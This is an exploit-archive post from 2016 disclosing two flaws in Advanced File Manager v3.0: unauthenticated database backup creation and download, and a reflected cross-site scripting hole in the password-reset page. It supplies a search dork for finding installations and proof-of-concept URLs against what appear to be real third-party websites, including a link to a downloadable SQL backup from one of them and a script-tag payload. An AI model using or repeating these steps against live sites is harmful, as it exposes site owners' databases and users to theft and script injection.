Advanced File Manager 3.0 XSS / Backup Disclosure
Posted on 30 August 2016
======================================================================== | # Title : Advanced File Manager v3.0 Creat & Download Backup vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 FranASSais V.(Pro) | # Version : v3.0 | # Vendor : http://dl.persianscript.ir/script/Advanced_File_Management_v3.0%28PersianScript.ir%29.rar ======================================================================== Dork : "Advanced File Management 3" poc : 1 - add /includes/backup_create.php 2 - it make backup and show you the directory to download it http://techhomeltd.com/fileking//includes/backup_create.php http://tammarotransports.com/filix//includes/backup_db/rxnkcom_pgo_fileking_2016-07-20%2014-21-31.sql ======================================================================== | # Title : Advanced File Manager v3.0 XSS vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 FranASSais V.(Pro) | # Version : v3.0 | # Vendor : http://dl.persianscript.ir/script/Advanced_File_Management_v3.0%28PersianScript.ir%29.rar ======================================================================== poc : http://techhomeltd.com/fileking/forgot_password.php?email=%3Cscript%3Ealert(1);%3C/script%3E&restore=yes Greetz : jericho http://attrition.org & http://www.osvdb.org/ * http://packetstormsecurity.com * Larry W. Cashdollar* Hussin-X *D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * ---------------------------------------------------------------------------------------------------------------
